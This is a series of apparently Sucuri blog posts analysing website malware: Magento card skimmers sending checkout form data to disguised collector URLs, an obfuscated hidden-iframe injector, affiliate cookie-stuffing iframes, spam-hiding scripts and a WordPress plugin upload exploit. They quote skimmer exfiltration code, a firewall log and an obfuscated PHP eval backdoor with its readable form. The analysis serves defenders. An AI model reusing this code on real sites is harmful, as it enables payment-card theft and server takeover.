Author: Denis Sinegubko

Client-Side or Server-Side Script?

We’ve already described several times how credit card stealing malware hides a data collecting script behind an image URL. When people see URLs that end with .jpg, .png, or .gif they normally don’t expect them to do anything malicious. Third-party JavaScripts are much more suspicious, still it is possible to use them in a way to coax webmasters into considering them benign.

When checking yet another credit card stealing JavaScript injected into the /js/ccard.js file in Magento, we noticed this line:


e294b002686cad2df01bb59e3e2299f3e:'hxxps://informaer[.]net/js/info_jquery.js',

JS script in a malicious injection is always suspicious to us. Especially when it has the word jquery in it and some unknown domain (with a typo). When we opened that URL, the only content we found there was:

jQuery.noConflict();

NoConflict() is the function that tells jQuery library to restore the original value of the “$”, which allows you to use other JS libraries that use “$” as a function or variable name alongside with jQuery. The code is definitely benign.

But let’s check how this "informaer" URL is used by the script.

...var http=new XMLHttpRequest();http.open('POST',be20b6410993ea4c7a48767775856514b.e294b002686cad2df01bb59e3e2299f3e,true);http.setRequestHeader('Content-type','application/x-www-form-urlencoded');http.send('info='+keym+'&hostname='+domm+'&key='+be20b6410993ea4c7a48767775856514b.myid);

It turns out that the URL is actually not a static JavaScript file. It’s a server-side script that receives data from filled out checkout forms passed in the info parameter of a POST request. It’s actually the collector of the stolen data. However, if you don’t use the POST method and don’t pass correct parameters, it pretends to be a benign JavaScript. It even sets the Content-Type: application/javascript; charset=utf-8 header to make it look plausible.

Hackers may go an extra mile to make their resources look benign, but as a webmaster you should never rely on what code looks like. Instead, verify whether it belongs to your site or not by answering two questions: 1. Did I put it there? If no then 2. Is this code a part of the third-party software I installed? To answer the second question, compare it to the original third-party software (get it either directly from the developer or from your clean backup copy). If answers to both of these questions are NO then no matter how benign the code looks, most likely it was placed there as a result of the site compromise. Integrity control may help you easily identify such unauthorized code injections.

If malware detection and removal still sound too complex for you, Sucuri is here to help.

May 3, 2017 by Denis Sinegubko

Ghost from the Past

Some sites may stay infected or not properly cleaned for years. Eventually, they come to us and we clean them. It doesn’t matter whether the malware is old or new. But old malware may tell stories for those who can read it.

For example, this February (2017), we cleaned one site with infected JavaScript files. There was nothing special; everything was cleaned automatically. However our analyst, Moe Obaid ,decided to take a look at the removed code:

date=new Date();var ar="pE=C r:]?me;...cw{ 'nBgNA>}h)ly";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f12,0,60,12,24,-33,...skipped...126,-63,69,-72,6,9,54,-105,-21,0,120]".replace(k.substr(0,1),'[');
pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);
e=e();ar2=e(ar2);s="";var pos=0;
for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);e(s);

The obfuscation was quite familiar, but this time my attention was drawn to the following code:

pau="rn ev2010".replace(date.getFullYear()-1,"al");

In order to deobfuscate the code, the result of this expression should be "rn eval" (to form the "return eval") in the next statement. But as you can see, this could only happen back in 2011! So I had to slightly modify the code to deobfuscate it, which gave me this code for invisible iframe:

<i f r a m e src='hxxp://g3service[.]ru/in.php?a=QQkFBwQEAAADBgAGEkcJBQcEAQQHDQAMAg==' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></i f r a m e>

Indeed, this malware was active back in June of 2011 and now the domain is defunct.

This information is enough to tell us that the malware was designed to only work in 2011 (back then hackers liked to use disposable domains for just a few days or even hours) and that the site hasn’t been properly cleaned for more than five years. Since 2012, that defunct malware stayed there like a ghost from the past.

Feb 28, 2017 by Denis Sinegubko

Amazon Affiliate Cookie Stuffing

We wrote a lot about malware in invisible iframes. This story is about a different type of invisible iframes that hackers may place on your site.

As you know, many large ecommerce sites have affiliate programs that allow third-party publishers to send traffic their way in exchange for commission on purchases. Amazon.com is the most well known example of a site with a public affiliate program. Millions of sites participate in it. As many other such sites, Amazon realizes that people referred to their store via affiliate links may not immediately make a purchase. Some of them need time to think, compare prices on other sites, research alternatives, etc. Still Amazon wants to acknowledge the role of the affiliate if the referred visitor returns to the Amazon later and makes the purchase then. Technically, it is done by placing an affiliate cookie on the visitors computer for a certain period of time (in case of Amazon it’s 24 hours); and if that particular user buys anything from Amazon before the cookie expires, the affiliate who referred them is eligible for some commission.

Sometimes we find hidden amzn.to iframes on hacked sites.


<iframe src="http://amzn.to/REDACTED" style="visibility: hidden;"></iframe>

Amzn.to is the Amazon’s URL shortener based on Bitly technology. It’s the only URL shortening service that affiliates are allowed to use if they want to shorten their affiliate links.

What happens when an amzn.to link is opened in an invisible iframe on a compromised site? When visitors open a web page, behind the scenes their browser opens a full Amazon page for some product (along with all images, scripts, styles, etc.). And of course, the attacker’s Amazon affiliate cookie is placed on the visitor’s computer. If that visitor buys something from Amazon in the following 24 hours, the hackers will get a commission for that order.

Given that Amazon is one of the largest online stores on the Internet, the chances that some of the visitors will actually buy something from Amazon are quite high. Now it’s just a "big numbers" game. All the attackers should do is maximize exposure of the pages with their injected invisible affiliate iframes. The more sites they compromise the bigger commission they’ll receive from Amazon (sure, unless Amazon detects the cookie stuffing scam and blocks the affiliate accounts).

While this hack is not [technically] dangerous for the site visitors (we don’t count the slow page loading and extra resources required to load whole Amazon pages in the background) and it’s not as annoying as unwanted pop-up or redirects, it shows that any websites are a valuable resource for bad actors who are constantly inventing new ways to abuse them.

If you need to clean or protect your site, please check our Website AntiVirus service.

Jan 25, 2017 by Denis Sinegubko

Database and Image Tricks in Magento Malware

Magento malware that steals details of customer credit cards is a prevalent problem during the last couple of years. We write a lot about various modifications of such malware and the tricks hackers use. When you look back, it’s interesting to see how common ideas may be reused in different steps of the attack.


Database

It’s a common trick to inject malware directly into the Magento database, which helps avoid modification of files on the server. The most typical target is the design/head/includes rows of the core_config_data table. The HTML code from those records is used to build the site pages, so it’s a perfect place for injection of JavaScript code that monitors form input and sends entered data to third-party servers.

Images

Another common theme is using image files to transfer stolen data. Since 2015 (the notorious Visbot malware), we’ve seen many different variations of the server-side malware that would save stolen data in files with image extensions (.jpg, .png, .gif). Files with such extensions raise little suspicion since they are not executable. At the same time, they can be easily downloaded from the compromised sites. Some malware saved the data in plain text. More complex attacks appended the data to existing legitimate image files. Visbot and its "Fake SUPEE-5344 Patch" modification used public keys to encrypt the saved in the .jpg files data, which also helped them make the files look like real binary images.

The "Fake SUPEE-5344 Patch" malware also had a backdoor functionality. It executed arbitrary shell commands passed in the “jpg” request parameter. Apparently, everything related to images is considered benign. Another JavaScript malware sends stolen data to a third-party server, but instead of making a direct AJAX call to that remote URL, it builds an <img> tag with that remote URL as its src parameter. The result is the same, but now it looks as if it’s loading an image from a remote server, not sending data to a remote server.

Recently, we came across a combination of all the above tricks. An obfuscated script was found in the design/footer/absolute_footer row of the core_config_data table.

<script>
this["eval"]("%:){(-7{^-&//`\n5&-8\'2,-{(\':)\'sr \n{{...skipped
...String(A).split("").reverse().join("");return H.charAt(A.indexOf(W))}));
</script>

Once decoded, it was clear that it steals data from Magento checkout pages

if((new RegExp('onepagecheckout|onestepcheckout|onepage|firecheckout|simplecheckout')).test(window.location)) { ...

And sends it to a remote hacked site:

...
if(cc.test(snd)){ asd="1" ; } 
var http = new XMLHttpRequest(); 
http.open("POST","https://<hacked-site>/lib/paypal_icon.jpg",true); 
http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
http.send("data="+snd+"&asd="+asd+"&id_id=infected-site.com"); 
...

The URL of the remote script looks like a URL of an image file: https:///lib/paypal_icon.jpg. One might think that the script loads a PayPal icon for the checkout page. Of course it makes little sense. And when you notice that the script uses the POST method to open that “image” and passes form data as parameters, it becomes clear that paypal_icon.jpg is not an image - it’s a server-side script that pretends to be an image (most likely either using using .htaccess tricks like mod_rewrite or changing the handler and MIME type for the .jpg extension inside the /lib directory).

This malware reminds us once again that we should not trust any code, requests, or files just because they are related (or seem to be related) to images. And don’t limit your malware scans to files on server. Most modern CMS can’t work without a database and the databases are a common target for infections.

For more information about security issues of Magento and other ecommerce platforms, please check the Ecommerce security section of our blog. If you need someone to clean and protect your site, you can count on us.

Jan 10, 2017 by Denis Sinegubko

Spamming Stopped by Pastebin

We wrote multiple times about malware attacks that store their scripts on Pastebin.com and load them either to the server once they break into it or directly to the infected web pages

However Pastebin.com can’t be called a reliable hosting for malware. You can report any paste and it will be removed if Pastebin.com finds it inacceptable. For example, when we find that a certain paste is being used in ongoing attacks, we report them.

What happens when a paste is removed from Pastebin.com? Of course, hackers eventually notice it and create new pastes and reconfigure the attack to use them, but for some period of time their attack is disrupted. From time to time we find signs of such disrupted attacks on infected sites. For example, recently our scanner found this file on a hacked site:skin/adminhtml/default/kontools/promailerv2.php.


Despite the .php extension, its content was pure HTML. The title of the page was "Pastebin.com - Page Removed" and the rest of the content was identical to what Pastebin.com returns when you request a removed or expired paste:

This page is no longer available. It has either expired, been removed by its creator, or removed by one of the Pastebin staff.

The code of the page contained the URL of the original paste: pastebin[.]com/HqhHiwSB. It was indeed removed. We found its original content in Google’s cache. It, as the filename implies, contained the code of a PHP script called “PRO Mailer V2” - a tool for sending out spam and phishing emails. It was uploaded on September 18, 2016 by someone in East Java, Indonesia, along with some other malicious scripts (shells, defacement, and spam tools).

If you ever come across a malicious campaign that actively uses Pastebin.com, please spend a few moments to report the pastes that it uses. You may help many people. If you ever have a need to publish some malicious (suspicious) code on Pastebin.com or another similar service (e.g. if you found it on your site and need advice), please make it unexecutable by adding some comments at the top, or by making other obvious changes that would prevent it being used in attacks directly off of Pastebin.com. Also consider making such pastes private and expire in a minimal reasonable time.

If you find the "Pastebin.com - Page Removed" files on your server, it’s a strong indication of a hack and you should investigate this issue. Let us know if you need a professional help.

Jan 6, 2017 by Denis Sinegubko

“Play One” Hidden Style Obfuscation

For many years, spam injections placed inside legitimate pages remain one of the prevalent types of black hat SEO hacks that we clean. Hackers constantly invent new tricks to make spam blocks invisible to human visitors while indexable by search engines.


The simplest trick is to put spam content inside a <div> with the display:none style. This is quite straightforward and easy to detect. A more complex evolution of the same idea is making the <div> invisible at pageload time using a JavaScript code like this:

document.getElementById(‘spam-div-id’),style.display = ‘none’;

It’s still easy to see which <div> is being hidden by the above code. So the next step in the obfuscation was a dynamic generation of the spam div ids inside the code. We described this approach in the “Double Hidden Style” labs note a couple of years ago. Hackers used random “numeric” div ids and mathematical expressions to generate the ids in the code:

<div id="232">...spammy content here...</div>
<script>document.getElementById(116*2).style.display='none';</script>

The code still looks suspicious as it’s clear that it makes something invisible. So hackers improved the obfuscation - in addition to a more complex mathematical expression, now instead of the suspicious “display” and “none” you can only see benign “play” and “one”.

<script>(function(g,h,i,f){i.getElementById(f).style['dis'+g]='n'+h;})('play','one',document,214*102+105);</script>

The script remains short but it’s not that easy to tell what it does when you first see it. However, when you look at it more thoroughly, you can notice that it does exactly the same thing - hides an HTML element with a “numeric” id:

document.getElementById(214*102+105).style[‘display’]=’none’;

This is just one line of the spam-hiding code evolution. There are many other approaches that hackers use to hide spam injections from human visitors and make them look legitimate for search engines. We are here to help you detect them and remove malware from your sites.

Dec 9, 2016 by Denis Sinegubko

WP Marketplace Attack in the Wild

A few days ago, colleagues from White Fir Design disclosed an arbitrary file upload vulnerability in the WP Marketplace plugin and helped remove it from the official repository (at least until a patched version becomes available). They mentioned that they noticed attempts to exploit vulnerabilities of that plugin in the wild. Specifically, they noticed requests to the /wp-content/plugins/wpmarketplace/css/extends_page.css file - this way hackers could figure out whether the plugin was installed or not.

We checked our Website Firewall logs and confirmed that the WP Marketplace vulnerability is now a part of a hacker's toolkit. When they detect sites with the installed plugin, they try to exploit the vulnerability and upload backdoors.


xx.xxx.xxx.xxx - - [14/Oct/2016:21:09:30 -0400] "POST /wp-admin/admin-post.php?task=wpmp_upload_previews HTTP/1.1" 403 4358 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6" ..."POSTLOG:--ccfa908a0cc6432a8edc830bbe10c153x0Dx0AContent-Disposition: form-data; name=x22Filedatax22; filename=x22ggyy.phpx22x0Dx0AContent-Type: image/phpx0Dx0Ax0Dx0A<?phpx0Dx0A    $qV = x22stopx22;x0Dx0A    $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);x0Dx0A    if (isset(${$s20}['x2nm3'])) {x0Dx0A        eval(${$s20}['x2nm3']);x0Dx0A    }x0Dx0A?>x0Dx0A--ccfa908a0cc6432a8edc830bbe10c153--x0Dx0A"

Here’s a more readable version of the backdoor code

$qV = "stop";$s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);if (isset(${$s20}['x2nm3'])) {  eval( ${$s20}['x2nm3']);}

This simple backdoor is used in many other attacks. It executes arbitrary PHP code passed in the x2mn3 POST parameter. If you don’t see the POST keyword in the code above, it’s because of the simple obfuscation in the first two lines of that convert the lowercase word "stop_" into an uppercase string "_POST", which later converted to $_POST using the ${$s20} construction.

The WordPress Marketplace was not popular (less than 500 installations according to the plugin directory web page found in Google’s cache). However, this didn’t make it unsuitable for site attacks. Of course, it is not as valuable for hackers as vulnerabilities in popular plugins installed on every other site, but if your toolkit comprises of hundreds of smaller vulnerabilities, the success rate will be comparable. That’s why plugin developers shouldn’t neglect best security practices even when developing small plugins. If you submit it to a public repository you are responsible for the security of websites that install it. Webmasters also should not forget that their site is only as secure as its least secured component (plugin in this case). Make sure that you only use really necessary plugins and keep them all up to date.

To prevent attacks that exploit vulnerabilities in your site software, we suggest using a Web Application Firewall (WAF).

If your site was infected by this or other malware, make sure to read our comprehensive guide on how to clean a hacked WordPress site.

Oct 17, 2016 by Denis Sinegubko